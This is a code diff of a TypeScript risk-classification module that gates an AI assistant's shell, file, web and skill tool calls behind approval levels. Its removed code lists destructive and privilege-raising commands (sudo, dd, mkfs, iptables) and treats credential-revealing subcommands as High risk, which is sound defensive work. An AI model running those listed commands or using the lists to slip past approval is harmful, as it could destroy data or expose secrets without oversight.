isWorkspaceScopedInvocation,
|
|
56
|
+
} from "./workspace-policy.js";
|
|
43
57
|
|
|
44
58
|
// ── Risk classification cache ────────────────────────────────────────────────
|
|
45
59
|
// classifyRisk() is called on every permission check and can invoke WASM
|
|
@@ -48,10 +62,35 @@ import { isWorkspaceScopedInvocation } from "./workspace-policy.js";
|
|
|
48
62
|
// Invalidated when trust rules change since risk classification for file tools
|
|
49
63
|
// depends on skill source path checks which reference config, but the core
|
|
50
64
|
// risk logic is input-deterministic.
|
|
65
|
+
/** The result of classifyRisk(): a risk level with an optional human-readable reason. */
|
|
66
|
+
export interface RiskClassification {
|
|
67
|
+
level: RiskLevel;
|
|
68
|
+
/** Human-readable explanation of why this risk level was assigned. */
|
|
69
|
+
reason?: string;
|
|
70
|
+
}
|
|
71
|
+
|
|
51
72
|
const RISK_CACHE_MAX = 256;
|
|
52
|
-
const riskCache = new Map<string,
|
|
73
|
+
const riskCache = new Map<string, RiskClassification>();
|
|
53
74
|
let riskCacheInvalidationHookRegistered = false;
|
|
54
75
|
|
|
76
|
+
// ── Assessment cache ─────────────────────────────────────────────────────────
|
|
77
|
+
// Stores the full RiskAssessment from classifier-backed tools so that
|
|
78
|
+
// generateAllowlistOptions() can read classifier-produced allowlistOptions
|
|
79
|
+
// without re-classifying. Keyed on (toolName, inputHash) — a simpler key
|
|
80
|
+
// than the full risk cache since generateAllowlistOptions() does not receive
|
|
81
|
+
// workingDir or manifestOverride. Cleared alongside the risk cache.
|
|
82
|
+
const assessmentCache = new Map<string, RiskAssessment>();
|
|
83
|
+
|
|
84
|
+
function assessmentCacheKey(
|
|
85
|
+
toolName: string,
|
|
86
|
+
input: Record<string, unknown>,
|
|
87
|
+
): string {
|
|
88
|
+
const { reason: _reason, activity: _activity, ...cacheableInput } = input;
|
|
89
|
+
const inputJson = JSON.stringify(cacheableInput);
|
|
90
|
+
const hash = createHash("sha256").update(inputJson).digest("hex");
|
|
91
|
+
return `${toolName}\0${hash}`;
|
|
92
|
+
}
|
|
93
|
+
|
|
55
94
|
function riskCacheKey(
|
|
56
95
|
toolName: string,
|
|
57
96
|
input: Record<string, unknown>,
|
|
@@ -76,6 +115,7 @@ function riskCacheKey(
|
|
|
76
115
|
/** Clear the risk classification cache. Called when trust rules change. */
|
|
77
116
|
function clearRiskCache(): void {
|
|
78
117
|
riskCache.clear();
|
|
118
|
+
assessmentCache.clear();
|
|
79
119
|
}
|
|
80
120
|
|
|
81
121
|
function ensureRiskCacheInvalidationHook(): void {
|
|
@@ -86,319 +126,8 @@ function ensureRiskCacheInvalidationHook(): void {
|
|
|
86
126
|
onRulesChanged(clearRiskCache);
|
|
87
127
|
}
|
|
88
128
|
|
|
89
|
-
//
|
|
90
|
-
const
|
|
91
|
-
"ls",
|
|
92
|
-
"cat",
|
|
93
|
-
"head",
|
|
94
|
-
"tail",
|
|
95
|
-
"less",
|
|
96
|
-
"more",
|
|
97
|
-
"wc",
|
|
98
|
-
"file",
|
|
99
|
-
"stat",
|
|
100
|
-
"grep",
|
|
101
|
-
"rg",
|
|
102
|
-
"ag",
|
|
103
|
-
"ack",
|
|
104
|
-
"find",
|
|
105
|
-
"fd",
|
|
106
|
-
"which",
|
|
107
|
-
"where",
|
|
108
|
-
"whereis",
|
|
109
|
-
"type",
|
|
110
|
-
"echo",
|
|
111
|
-
"printf",
|
|
112
|
-
"date",
|
|
113
|
-
"cal",
|
|
114
|
-
"uptime",
|
|
115
|
-
"whoami",
|
|
116
|
-
"hostname",
|
|
117
|
-
"uname",
|
|
118
|
-
"pwd",
|
|
119
|
-
"realpath",
|
|
120
|
-
"dirname",
|
|
121
|
-
"basename",
|
|
122
|
-
"git",
|
|
123
|
-
"node",
|
|
124
|
-
"bun",
|
|
125
|
-
"deno",
|
|
126
|
-
"npm",
|
|
127
|
-
"npx",
|
|
128
|
-
"yarn",
|
|
129
|
-
"pnpm",
|
|
130
|
-
"python",
|
|
131
|
-
"python3",
|
|
132
|
-
"pip",
|
|
133
|
-
"pip3",
|
|
134
|
-
"man",
|
|
135
|
-
"help",
|
|
136
|
-
"info",
|
|
137
|
-
"env",
|
|
138
|
-
"printenv",
|
|
139
|
-
"set",
|
|
140
|
-
"diff",
|
|
141
|
-
"sort",
|
|
142
|
-
"uniq",
|
|
143
|
-
"cut",
|
|
144
|
-
"tr",
|
|
145
|
-
"tee",
|
|
146
|
-
"xargs",
|
|
147
|
-
"jq",
|
|
148
|
-
"yq",
|
|
149
|
-
"http",
|
|
150
|
-
"dig",
|
|
151
|
-
"nslookup",
|
|
152
|
-
"ping",
|
|
153
|
-
"tree",
|
|
154
|
-
"du",
|
|
155
|
-
"df",
|
|
156
|
-
]);
|
|
157
|
-
|
|
158
|
-
// High-risk shell programs / patterns
|
|
159
|
-
const HIGH_RISK_PROGRAMS = new Set([
|
|
160
|
-
"sudo",
|
|
161
|
-
"su",
|
|
162
|
-
"doas",
|
|
163
|
-
"dd",
|
|
164
|
-
"mkfs",
|
|
165
|
-
"fdisk",
|
|
166
|
-
"parted",
|
|
167
|
-
"mount",
|
|
168
|
-
"umount",
|
|
169
|
-
"systemctl",
|
|
170
|
-
"service",
|
|
171
|
-
"launchctl",
|
|
172
|
-
"useradd",
|
|
173
|
-
"userdel",
|
|
174
|
-
"usermod",
|
|
175
|
-
"groupadd",
|
|
176
|
-
"groupdel",
|
|
177
|
-
"iptables",
|
|
178
|
-
"ufw",
|
|
179
|
-
"firewall-cmd",
|
|
180
|
-
"reboot",
|
|
181
|
-
"shutdown",
|
|
182
|
-
"halt",
|
|
183
|
-
"poweroff",
|
|
184
|
-
"kill",
|
|
185
|
-
"killall",
|
|
186
|
-
"pkill",
|
|
187
|
-
]);
|
|
188
|
-
|
|
189
|
-
// Git subcommands that are low-risk (read-only)
|
|
190
|
-
const LOW_RISK_GIT_SUBCOMMANDS = new Set([
|
|
191
|
-
"status",
|
|
192
|
-
"log",
|
|
193
|
-
"diff",
|
|
194
|
-
"show",
|
|
195
|
-
"branch",
|
|
196
|
-
"tag",
|
|
197
|
-
"remote",
|
|
198
|
-
"stash",
|
|
199
|
-
"blame",
|
|
200
|
-
"shortlog",
|
|
201
|
-
"describe",
|
|
202
|
-
"rev-parse",
|
|
203
|
-
"ls-files",
|
|
204
|
-
"ls-tree",
|
|
205
|
-
"cat-file",
|
|
206
|
-
"reflog",
|
|
207
|
-
]);
|
|
208
|
-
|
|
209
|
-
/**
|
|
210
|
-
* Classify risk for `assistant` CLI subcommands. Multi-word subcommands
|
|
211
|
-
* (e.g. `assistant oauth token`) are matched by walking the positional args.
|
|
212
|
-
*/
|
|
213
|
-
function classifyAssistantSubcommand(args: string[]): RiskLevel {
|
|
214
|
-
const sub = firstPositionalArg(args);
|
|
215
|
-
if (!sub) return RiskLevel.Low;
|
|
216
|
-
|
|
217
|
-
if (sub === "oauth") {
|
|
218
|
-
const oauthSub = firstPositionalArg(args.slice(args.indexOf(sub) + 1));
|
|
219
|
-
if (oauthSub === "token") return RiskLevel.High;
|
|
220
|
-
if (oauthSub === "mode") {
|
|
221
|
-
// `oauth mode --set` is high risk; bare `oauth mode` (read) is low.
|
|
222
|
-
// Match both `--set value` (two tokens) and `--set=value` (one token).
|
|
223
|
-
if (args.some((a) => a === "--set" || a.startsWith("--set=")))
|
|
224
|
-
return RiskLevel.High;
|
|
225
|
-
return RiskLevel.Low;
|
|
226
|
-
}
|
|
227
|
-
if (oauthSub === "request") return RiskLevel.Medium;
|
|
228
|
-
if (oauthSub === "connect" || oauthSub === "disconnect")
|
|
229
|
-
return RiskLevel.Medium;
|
|
230
|
-
return RiskLevel.Low;
|
|
231
|
-
}
|
|
232
|
-
|
|
233
|
-
if (sub === "credentials") {
|
|
234
|
-
const credSub = firstPositionalArg(args.slice(args.indexOf(sub) + 1));
|
|
235
|
-
if (credSub === "reveal") return RiskLevel.High;
|
|
236
|
-
if (credSub === "set" || credSub === "delete") return RiskLevel.High;
|
|
237
|
-
return RiskLevel.Low;
|
|
238
|
-
}
|
|
239
|
-
|
|
240
|
-
if (sub === "keys") {
|
|
241
|
-
const keysSub = firstPositionalArg(args.slice(args.indexOf(sub) + 1));
|
|
242
|
-
if (keysSub === "set" || keysSub === "delete") return RiskLevel.High;
|
|
243
|
-
return RiskLevel.Low;
|
|
244
|
-
}
|
|
245
|
-
|
|
246
|
-
if (sub === "trust") {
|
|
247
|
-
const trustSub = firstPositionalArg(args.slice(args.indexOf(sub) + 1));
|
|
248
|
-
if (trustSub === "remove" || trustSub === "clear") return RiskLevel.High;
|
|
249
|
-
return RiskLevel.Low;
|
|
250
|
-
}
|
|
251
|
-
|
|
252
|
-
return RiskLevel.Low;
|
|
253
|
-
}
|
|
254
|
-
|
|
255
|
-
// Commands that wrap another program — the real program appears as the first
|
|
256
|
-
// non-flag argument. When one of these is the segment program we look through
|
|
257
|
-
// its args to find the effective program (e.g. `env curl …` → curl).
|
|
258
|
-
const WRAPPER_PROGRAMS = new Set([
|
|
259
|
-
"env",
|
|
260
|
-
"nice",
|
|
261
|
-
"nohup",
|
|
262
|
-
"time",
|
|
263
|
-
"command",
|
|
264
|
-
"exec",
|
|
265
|
-
"strace",
|
|
266
|
-
"ltrace",
|
|
267
|
-
"ionice",
|
|
268
|
-
"taskset",
|
|
269
|
-
"timeout",
|
|
270
|
-
]);
|
|
271
|
-
|
|
272
|
-
// `env` flags that consume the next positional argument as their value.
|
|
273
|
-
// Without this, `env -u curl echo` would incorrectly identify `curl` (the
|
|
274
|
-
// value of -u) as the wrapped program instead of `echo`.
|
|
275
|
-
const ENV_VALUE_FLAGS = new Set(["-u", "--unset", "-C", "--chdir"]);
|
|
276
|
-
|
|
277
|
-
// `timeout` flags that consume the next positional argument as their value.
|
|
278
|
-
const TIMEOUT_VALUE_FLAGS = new Set(["-s", "--signal", "-k", "--kill-after"]);
|
|
279
|
-
|
|
280
|
-
// Wrapper programs where the first non-flag positional argument is a
|
|
281
|
-
// configuration value (duration, CPU mask), not the wrapped program name.
|
|
282
|
-
// For these wrappers, the second non-flag positional is the real program.
|
|
283
|
-
const WRAPPER_SKIP_FIRST_POSITIONAL = new Set(["timeout", "taskset"]);
|
|
284
|
-
|
|
285
|
-
// `git` global flags that consume the next positional argument as their value.
|
|
286
|
-
// Without this, `git -C status commit` would incorrectly identify `status`
|
|
287
|
-
// (the directory path) as the subcommand instead of `commit`.
|
|
288
|
-
const GIT_VALUE_FLAGS = new Set([
|
|
289
|
-
"-C",
|
|
290
|
-
"-c",
|
|
291
|
-
"--git-dir",
|
|
292
|
-
"--work-tree",
|
|
293
|
-
"--namespace",
|
|
294
|
-
"--super-prefix",
|
|
295
|
-
"--config-env",
|
|
296
|
-
]);
|
|
297
|
-
|
|
298
|
-
/**
|
|
299
|
-
* Return the first non-flag argument from an argument list, optionally
|
|
300
|
-
* skipping value-taking flags. Flags are arguments that start with `-`.
|
|
301
|
-
* This is used to skip global options (e.g. `--verbose`, `-h`, `-C <path>`)
|
|
302
|
-
* when extracting the subcommand from CLIs like `git`, `vellum`, and
|
|
303
|
-
* `assistant`.
|
|
304
|
-
*
|
|
305
|
-
* When `valueFlags` is provided, any flag in that set causes the next
|
|
306
|
-
* argument to be skipped as well (it is the flag's value, not a positional).
|
|
307
|
-
*/
|
|
308
|
-
function firstPositionalArg(
|
|
309
|
-
args: string[],
|
|
310
|
-
valueFlags?: Set<string>,
|
|
311
|
-
): string | undefined {
|
|
312
|
-
for (let i = 0; i < args.length; i++) {
|
|
313
|
-
const arg = args[i];
|
|
314
|
-
if (arg.startsWith("-")) {
|
|
315
|
-
if (valueFlags?.has(arg)) i++; // skip the next arg (the flag's value)
|
|
316
|
-
continue;
|
|
317
|
-
}
|
|
318
|
-
return arg;
|
|
319
|
-
}
|
|
320
|
-
return undefined;
|
|
321
|
-
}
|
|
322
|
-
|
|
323
|
-
// Bare filenames that `rm` is allowed to delete at Medium risk (instead of
|
|
324
|
-
// High) so workspace-scoped allow rules can approve them without the
|
|
325
|
-
// dangerous `allowHighRisk` flag. Only matches when the args contain no
|
|
326
|
-
// flags and exactly one of these filenames.
|
|
327
|
-
const RM_SAFE_BARE_FILES = new Set(["BOOTSTRAP.md", "UPDATES.md"]);
|
|
328
|
-
|
|
329
|
-
function isRmOfKnownSafeFile(args: string[]): boolean {
|
|
330
|
-
if (args.length !== 1) return false;
|
|
331
|
-
const target = args[0];
|
|
332
|
-
if (target.startsWith("-") || target.includes("/")) return false;
|
|
333
|
-
return RM_SAFE_BARE_FILES.has(target);
|
|
334
|
-
}
|
|
335
|
-
|
|
336
|
-
/**
|
|
337
|
-
* Given a segment whose program is a known wrapper, return the first
|
|
338
|
-
* non-flag argument (i.e. the wrapped program name). Returns `undefined`
|
|
339
|
-
* when no suitable argument is found.
|
|
340
|
-
*
|
|
341
|
-
* Handles `env` specially: skips `VAR=value` pairs and value-taking flags
|
|
342
|
-
* like `-u NAME` and `-C DIR`.
|
|
343
|
-
*
|
|
344
|
-
* Handles `timeout` and `taskset` specially: their first non-flag positional
|
|
345
|
-
* argument is a duration or CPU mask, not the wrapped program. The second
|
|
346
|
-
* non-flag positional is the real program.
|
|
347
|
-
*/
|
|
348
|
-
function getWrappedProgram(seg: {
|
|
349
|
-
program: string;
|
|
350
|
-
args: string[];
|
|
351
|
-
}): string | undefined {
|
|
352
|
-
const isEnv = seg.program === "env";
|
|
353
|
-
const isTimeout = seg.program === "timeout";
|
|
354
|
-
const skipFirst = WRAPPER_SKIP_FIRST_POSITIONAL.has(seg.program);
|
|
355
|
-
let skippedFirstPositional = false;
|
|
356
|
-
for (let i = 0; i < seg.args.length; i++) {
|
|
357
|
-
const arg = seg.args[i];
|
|
358
|
-
if (arg.startsWith("-")) {
|
|
359
|
-
if (isEnv && ENV_VALUE_FLAGS.has(arg)) i++; // skip the value argument
|
|
360
|
-
if (isTimeout && TIMEOUT_VALUE_FLAGS.has(arg)) i++; // skip the value argument
|
|
361
|
-
continue;
|
|
362
|
-
}
|
|
363
|
-
if (isEnv && arg.includes("=")) continue; // skip env VAR=value pairs
|
|
364
|
-
if (skipFirst && !skippedFirstPositional) {
|
|
365
|
-
skippedFirstPositional = true;
|
|
366
|
-
continue; // skip the duration/CPU mask
|
|
367
|
-
}
|
|
368
|
-
return arg;
|
|
369
|
-
}
|
|
370
|
-
return undefined;
|
|
371
|
-
}
|
|
372
|
-
|
|
373
|
-
/**
|
|
374
|
-
* Like `getWrappedProgram`, but also returns the remaining args after the
|
|
375
|
-
* wrapped program name. This allows callers to propagate subcommand-aware
|
|
376
|
-
* classification (e.g. `env assistant oauth token` → classify `oauth token`).
|
|
377
|
-
*/
|
|
378
|
-
function getWrappedProgramWithArgs(seg: {
|
|
379
|
-
program: string;
|
|
380
|
-
args: string[];
|
|
381
|
-
}): { program: string; args: string[] } | undefined {
|
|
382
|
-
const isEnv = seg.program === "env";
|
|
383
|
-
const isTimeout = seg.program === "timeout";
|
|
384
|
-
const skipFirst = WRAPPER_SKIP_FIRST_POSITIONAL.has(seg.program);
|
|
385
|
-
let skippedFirstPositional = false;
|
|
386
|
-
for (let i = 0; i < seg.args.length; i++) {
|
|
387
|
-
const arg = seg.args[i];
|
|
388
|
-
if (arg.startsWith("-")) {
|
|
389
|
-
if (isEnv && ENV_VALUE_FLAGS.has(arg)) i++;
|
|
390
|
-
if (isTimeout && TIMEOUT_VALUE_FLAGS.has(arg)) i++;
|
|
391
|
-
continue;
|
|
392
|
-
}
|
|
393
|
-
if (isEnv && arg.includes("=")) continue;
|
|
394
|
-
if (skipFirst && !skippedFirstPositional) {
|
|
395
|
-
skippedFirstPositional = true;
|
|
396
|
-
continue; // skip the duration/CPU mask
|
|
397
|
-
}
|
|
398
|
-
return { program: arg, args: seg.args.slice(i + 1) };
|
|
399
|
-
}
|
|
400
|
-
return undefined;
|
|
401
|
-
}
|
|
129
|
+
// ── Approval policy singleton ────────────────────────────────────────────────
|
|
130
|
+
const defaultApprovalPolicy = new DefaultApprovalPolicy();
|
|
402
131
|
|
|
403
132
|
function getStringField(
|
|
404
133
|
input: Record<string, unknown>,
|
|
@@ -526,10 +255,27 @@ async function buildCommandCandidates(
|
|
|
526
255
|
preParsed?: ParsedCommand,
|
|
527
256
|
): Promise<string[]> {
|
|
528
257
|
if (toolName === "bash" || toolName === "host_bash") {
|
|
529
|
-
|
|
530
|
-
|
|
531
|
-
|
|
532
|
-
);
|
|
258
|
+
const command = getStringField(input, "command").trim();
|
|
259
|
+
if (!command) return [command];
|
|
260
|
+
|
|
261
|
+
const analysis = await analyzeShellCommand(command, preParsed);
|
|
262
|
+
const actionResult = deriveShellActionKeys(analysis);
|
|
263
|
+
|
|
264
|
+
const candidates: string[] = [command];
|
|
265
|
+
|
|
266
|
+
if (actionResult.keys.length > 0) {
|
|
267
|
+
if (actionResult.isSimpleAction && actionResult.primarySegment) {
|
|
268
|
+
const canonical = actionResult.primarySegment.command;
|
|
269
|
+
if (canonical !== command) {
|
|
270
|
+
candidates.push(canonical);
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
for (const actionKey of actionResult.keys) {
|
|
274
|
+
candidates.push(actionKey.key);
|
|
275
|
+
}
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
return [...new Set(candidates)];
|
|
533
279
|
}
|
|
534
280
|
|
|
535
281
|
if (toolName === "skill_load") {
|
|
@@ -582,11 +328,7 @@ async function buildCommandCandidates(
|
|
|
582
328
|
return [`${toolName}:${skillId}`];
|
|
583
329
|
}
|
|
584
330
|
|
|
585
|
-
if (
|
|
586
|
-
toolName === "web_fetch" ||
|
|
587
|
-
toolName === "browser_navigate" ||
|
|
588
|
-
toolName === "network_request"
|
|
589
|
-
) {
|
|
331
|
+
if (toolName === "web_fetch" || toolName === "network_request") {
|
|
590
332
|
const rawUrl = getStringField(input, "url").trim();
|
|
591
333
|
const candidates: string[] = [];
|
|
592
334
|
|
|
@@ -663,7 +405,7 @@ export async function classifyRisk(
|
|
|
663
405
|
preParsed?: ParsedCommand,
|
|
664
406
|
manifestOverride?: ManifestOverride,
|
|
665
407
|
signal?: AbortSignal,
|
|
666
|
-
): Promise<
|
|
408
|
+
): Promise<RiskClassification> {
|
|
667
409
|
signal?.throwIfAborted();
|
|
668
410
|
ensureRiskCacheInvalidationHook();
|
|
669
411
|
|
|
@@ -682,13 +424,111 @@ export async function classifyRisk(
|
|
|
682
424
|
}
|
|
683
425
|
}
|
|
684
426
|
|
|
685
|
-
|
|
686
|
-
|
|
687
|
-
|
|
688
|
-
|
|
689
|
-
|
|
690
|
-
|
|
691
|
-
|
|
427
|
+
// ── Bash/host_bash: delegate to the registry-driven BashRiskClassifier ────
|
|
428
|
+
let result: RiskClassification;
|
|
429
|
+
let classifierAssessment: RiskAssessment | undefined;
|
|
430
|
+
if (toolName === "bash" || toolName === "host_bash") {
|
|
431
|
+
const command = ((input.command as string) ?? "").trim();
|
|
432
|
+
if (!command) {
|
|
433
|
+
result = { level: RiskLevel.Low };
|
|
434
|
+
} else {
|
|
435
|
+
const assessment = await bashRiskClassifier.classify({
|
|
436
|
+
command,
|
|
437
|
+
toolName: toolName as "bash" | "host_bash",
|
|
438
|
+
});
|
|
439
|
+
classifierAssessment = assessment;
|
|
440
|
+
result = {
|
|
441
|
+
level: riskToRiskLevel(assessment.riskLevel),
|
|
442
|
+
reason: assessment.reason,
|
|
443
|
+
};
|
|
444
|
+
}
|
|
445
|
+
}
|
|
446
|
+
// ── File tools: delegate to FileRiskClassifier ──────────────────────────
|
|
447
|
+
else if (
|
|
448
|
+
[
|
|
449
|
+
"file_read",
|
|
450
|
+
"file_write",
|
|
451
|
+
"file_edit",
|
|
452
|
+
"host_file_read",
|
|
453
|
+
"host_file_write",
|
|
454
|
+
"host_file_edit",
|
|
455
|
+
].includes(toolName)
|
|
456
|
+
) {
|
|
457
|
+
const filePath = getStringField(input, "path", "file_path");
|
|
458
|
+
const isHostTool = toolName.startsWith("host_");
|
|
459
|
+
const assessment = await fileRiskClassifier.classify({
|
|
460
|
+
toolName: toolName as
|
|
461
|
+
| "file_read"
|
|
462
|
+
| "file_write"
|
|
463
|
+
| "file_edit"
|
|
464
|
+
| "host_file_read"
|
|
465
|
+
| "host_file_write"
|
|
466
|
+
| "host_file_edit",
|
|
467
|
+
filePath,
|
|
468
|
+
workingDir: isHostTool ? "/" : (workingDir ?? process.cwd()),
|
|
469
|
+
});
|
|
470
|
+
classifierAssessment = assessment;
|
|
471
|
+
result = {
|
|
472
|
+
level: riskToRiskLevel(assessment.riskLevel),
|
|
473
|
+
reason: assessment.reason,
|
|
474
|
+
};
|
|
475
|
+
}
|
|
476
|
+
// ── Web tools: delegate to WebRiskClassifier ────────────────────────────
|
|
477
|
+
else if (["web_fetch", "network_request", "web_search"].includes(toolName)) {
|
|
478
|
+
const assessment = await webRiskClassifier.classify({
|
|
479
|
+
toolName: toolName as "web_fetch" | "network_request" | "web_search",
|
|
480
|
+
url: getStringField(input, "url"),
|
|
481
|
+
allowPrivateNetwork: input.allow_private_network === true,
|
|
482
|
+
});
|
|
483
|
+
classifierAssessment = assessment;
|
|
484
|
+
result = {
|
|
485
|
+
level: riskToRiskLevel(assessment.riskLevel),
|
|
486
|
+
reason: assessment.reason,
|
|
487
|
+
};
|
|
488
|
+
}
|
|
489
|
+
// ── Skill tools: delegate to SkillLoadRiskClassifier ────────────────────
|
|
490
|
+
else if (
|
|
491
|
+
["skill_load", "scaffold_managed_skill", "delete_managed_skill"].includes(
|
|
492
|
+
toolName,
|
|
493
|
+
)
|
|
494
|
+
) {
|
|
495
|
+
const assessment = await skillLoadRiskClassifier.classify({
|
|
496
|
+
toolName: toolName as
|
|
497
|
+
| "skill_load"
|
|
498
|
+
| "scaffold_managed_skill"
|
|
499
|
+
| "delete_managed_skill",
|
|
500
|
+
skillSelector: getStringField(input, "skill", "skill_id").trim(),
|
|
501
|
+
});
|
|
502
|
+
classifierAssessment = assessment;
|
|
503
|
+
result = {
|
|
504
|
+
level: riskToRiskLevel(assessment.riskLevel),
|
|
505
|
+
reason: assessment.reason,
|
|
506
|
+
};
|
|
507
|
+
}
|
|
508
|
+
// ── Schedule tools: delegate to ScheduleRiskClassifier ──────────────────
|
|
509
|
+
else if (toolName === "schedule_create" || toolName === "schedule_update") {
|
|
510
|
+
const assessment = await scheduleRiskClassifier.classify({
|
|
511
|
+
toolName,
|
|
512
|
+
mode: getStringField(input, "mode") || undefined,
|
|
513
|
+
script: getStringField(input, "script") || undefined,
|
|
514
|
+
});
|
|
515
|
+
classifierAssessment = assessment;
|
|
516
|
+
result = {
|
|
517
|
+
level: riskToRiskLevel(assessment.riskLevel),
|
|
518
|
+
reason: assessment.reason,
|
|
519
|
+
};
|
|
520
|
+
}
|
|
521
|
+
// ── Remaining tools: fall through to registry-based classification ──────
|
|
522
|
+
else {
|
|
523
|
+
result = {
|
|
524
|
+
level: await classifyRiskFromRegistry(
|
|
525
|
+
toolName,
|
|
526
|
+
input,
|
|
527
|
+
workingDir,
|
|
528
|
+
manifestOverride,
|
|
529
|
+
),
|
|
530
|
+
};
|
|
531
|
+
}
|
|
692
532
|
|
|
693
533
|
// Proxied bash commands route through the credential proxy which handles
|
|
694
534
|
// per-request approval separately. Cap the bash tool's own risk at Medium
|
|
@@ -696,9 +536,9 @@ export async function classifyRisk(
|
|
|
696
536
|
if (
|
|
697
537
|
toolName === "bash" &&
|
|
698
538
|
input.network_mode === "proxied" &&
|
|
699
|
-
result === RiskLevel.High
|
|
539
|
+
result.level === RiskLevel.High
|
|
700
540
|
) {
|
|
701
|
-
result = RiskLevel.Medium;
|
|
541
|
+
result = { level: RiskLevel.Medium, reason: result.reason };
|
|
702
542
|
}
|
|
703
543
|
|
|
704
544
|
if (cacheKey) {
|
|
@@ -709,237 +549,26 @@ export async function classifyRisk(
|
|
|
709
549
|
riskCache.set(cacheKey, result);
|
|
710
550
|
}
|
|
711
551
|
|
|
552
|
+
// Store the full assessment in a separate cache keyed on (toolName, input)
|
|
553
|
+
// so generateAllowlistOptions() can retrieve classifier-produced options.
|
|
554
|
+
if (classifierAssessment) {
|
|
555
|
+
const aKey = assessmentCacheKey(toolName, input);
|
|
556
|
+
if (assessmentCache.size >= RISK_CACHE_MAX) {
|
|
557
|
+
const oldest = assessmentCache.keys().next().value;
|
|
558
|
+
if (oldest !== undefined) assessmentCache.delete(oldest);
|
|
559
|
+
}
|
|
560
|
+
assessmentCache.set(aKey, classifierAssessment);
|
|
561
|
+
}
|
|
562
|
+
|
|
712
563
|
return result;
|
|
713
564
|
}
|
|
714
565
|
|
|
715
|
-
async function
|
|
566
|
+
async function classifyRiskFromRegistry(
|
|
716
567
|
toolName: string,
|
|
717
|
-
|
|
718
|
-
|
|
719
|
-
preParsed?: ParsedCommand,
|
|
568
|
+
_input: Record<string, unknown>,
|
|
569
|
+
_workingDir?: string,
|
|
720
570
|
manifestOverride?: ManifestOverride,
|
|
721
571
|
): Promise<RiskLevel> {
|
|
722
|
-
if (toolName === "file_read") {
|
|
723
|
-
const filePath = getStringField(input, "path", "file_path");
|
|
724
|
-
if (isActorTokenSigningKeyPath(filePath, workingDir)) {
|
|
725
|
-
return RiskLevel.High;
|
|
726
|
-
}
|
|
727
|
-
return RiskLevel.Low;
|
|
728
|
-
}
|
|
729
|
-
if (toolName === "file_write" || toolName === "file_edit") {
|
|
730
|
-
const filePath = getStringField(input, "path", "file_path");
|
|
731
|
-
if (
|
|
732
|
-
filePath &&
|
|
733
|
-
isSkillSourcePath(
|
|
734
|
-
resolve(workingDir ?? process.cwd(), filePath),
|
|
735
|
-
getConfig().skills.load.extraDirs,
|
|
736
|
-
)
|
|
737
|
-
) {
|
|
738
|
-
return RiskLevel.High;
|
|
739
|
-
}
|
|
740
|
-
if (filePath) {
|
|
741
|
-
const normalizedHooksDir = normalizeDirPath(getWorkspaceHooksDir());
|
|
742
|
-
const normalizedPath = normalizeFilePath(
|
|
743
|
-
resolve(workingDir ?? process.cwd(), filePath),
|
|
744
|
-
);
|
|
745
|
-
const hooksDirNoTrailingSlash = normalizedHooksDir.slice(0, -1);
|
|
746
|
-
if (
|
|
747
|
-
normalizedPath === hooksDirNoTrailingSlash ||
|
|
748
|
-
normalizedPath.startsWith(normalizedHooksDir)
|
|
749
|
-
) {
|
|
750
|
-
return RiskLevel.High;
|
|
751
|
-
}
|
|
752
|
-
}
|
|
753
|
-
return RiskLevel.Low;
|
|
754
|
-
}
|
|
755
|
-
if (toolName === "web_search") return RiskLevel.Low;
|
|
756
|
-
if (toolName === "web_fetch") {
|
|
757
|
-
// Private-network fetches are High risk so that blanket allow rules
|
|
758
|
-
// (including the starter bundle) cannot silently bypass the prompt.
|
|
759
|
-
return input.allow_private_network === true
|
|
760
|
-
? RiskLevel.High
|
|
761
|
-
: RiskLevel.Low;
|
|
762
|
-
}
|
|
763
|
-
if (toolName === "browser_navigate") {
|
|
764
|
-
return input.allow_private_network === true
|
|
765
|
-
? RiskLevel.High
|
|
766
|
-
: RiskLevel.Low;
|
|
767
|
-
}
|
|
768
|
-
// All other browser tools are low risk — the browser is sandboxed and user-visible.
|
|
769
|
-
if (toolName.startsWith("browser_")) return RiskLevel.Low;
|
|
770
|
-
// Proxy-authenticated network requests are Medium risk — they carry injected
|
|
771
|
-
// credentials and the user should approve the target host/origin.
|
|
772
|
-
if (toolName === "network_request") return RiskLevel.Medium;
|
|
773
|
-
if (toolName === "skill_load") return RiskLevel.Low;
|
|
774
|
-
|
|
775
|
-
// Skill mutation tools are always High risk — they write or delete persistent
|
|
776
|
-
// skill source code. These tools moved from core tool registry to bundled
|
|
777
|
-
// skills, but their security classification must remain High regardless of
|
|
778
|
-
// whether they appear in the tool registry.
|
|
779
|
-
if (
|
|
780
|
-
toolName === "scaffold_managed_skill" ||
|
|
781
|
-
toolName === "delete_managed_skill"
|
|
782
|
-
) {
|
|
783
|
-
return RiskLevel.High;
|
|
784
|
-
}
|
|
785
|
-
|
|
786
|
-
// Escalate host file mutations targeting skill source paths to High risk.
|
|
787
|
-
// The host variants fall through to the tool registry (Medium) by default,
|
|
788
|
-
// but writing to skill source code is a privilege-escalation vector.
|
|
789
|
-
if (toolName === "host_file_write" || toolName === "host_file_edit") {
|
|
790
|
-
const filePath = getStringField(input, "path", "file_path");
|
|
791
|
-
if (
|
|
792
|
-
filePath &&
|
|
793
|
-
isSkillSourcePath(resolve(filePath), getConfig().skills.load.extraDirs)
|
|
794
|
-
) {
|
|
795
|
-
return RiskLevel.High;
|
|
796
|
-
}
|
|
797
|
-
if (filePath) {
|
|
798
|
-
const normalizedHooksDir = normalizeDirPath(getWorkspaceHooksDir());
|
|
799
|
-
const normalizedPath = normalizeFilePath(resolve(filePath));
|
|
800
|
-
const hooksDirNoTrailingSlash = normalizedHooksDir.slice(0, -1);
|
|
801
|
-
if (
|
|
802
|
-
normalizedPath === hooksDirNoTrailingSlash ||
|
|
803
|
-
normalizedPath.startsWith(normalizedHooksDir)
|
|
804
|
-
) {
|
|
805
|
-
return RiskLevel.High;
|
|
806
|
-
}
|
|
807
|
-
}
|
|
808
|
-
// Fall through to the tool registry default (Medium) below.
|
|
809
|
-
}
|
|
810
|
-
|
|
811
|
-
if (toolName === "bash" || toolName === "host_bash") {
|
|
812
|
-
const command = (input.command as string) ?? "";
|
|
813
|
-
if (!command.trim()) return RiskLevel.Low;
|
|
814
|
-
|
|
815
|
-
const parsed = preParsed ?? (await cachedParse(command));
|
|
816
|
-
|
|
817
|
-
// Dangerous patterns → High
|
|
818
|
-
if (parsed.dangerousPatterns.length > 0) return RiskLevel.High;
|
|
819
|
-
|
|
820
|
-
// Opaque constructs → at least Medium (never Low)
|
|
821
|
-
